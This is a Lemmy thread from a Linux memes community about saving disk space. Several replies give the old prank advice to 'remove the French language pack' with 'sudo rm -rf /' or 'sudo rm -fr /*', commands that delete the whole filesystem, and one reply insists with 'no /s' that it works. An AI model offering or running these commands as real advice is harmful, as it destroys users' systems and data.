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submitted 1 month ago by swab148@startrek.website to c/linuxmemes@lemmy.world

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[–] Hjalamanger@feddit.nu 41 points 1 month ago* (last edited 1 month ago) (4 children)

Try removing any unused language packs! I've heard that the French one takes up allot of space, remove it with sudo rm -rf /

[–] shotgun_crab@lemmy.world 17 points 1 month ago

You mean the Rfench one?

[–] itslilith@lemmy.blahaj.zone 11 points 1 month ago* (last edited 1 month ago) (1 children)

you messed up

sudo rm -fr /*

[–] dabster291@lemmy.zip 2 points 1 month ago

no /s, this actually works

[–] swab148@startrek.website 4 points 1 month ago (1 children)

You joke, but I actually did remove locales with BleachBit, and then changed pacman.conf to skip the unnecessary ones. Saved me about 400MB!

[–] JackbyDev@programming.dev 1 points 1 month ago (1 children)

BleachBit? Wipe with a cloth?

[–] swab148@startrek.website 2 points 1 month ago* (last edited 1 month ago) (1 children)

[–] JackbyDev@programming.dev 2 points 1 month ago (1 children)

Thank you, I was making a tongue in cheek reference to this though: https://www.bleachbit.org/cloth-or-something

[–] swab148@startrek.website 2 points 1 month ago

LMAO I was unaware of this! That's hilarious!

[–] dabster291@lemmy.zip 1 points 1 month ago* (last edited 1 month ago)

Nono, -rf deletes all your files. Use sudo rm -fr /* instead to actually delete the French language pack!

also /s

edit: someone already made the joke, darn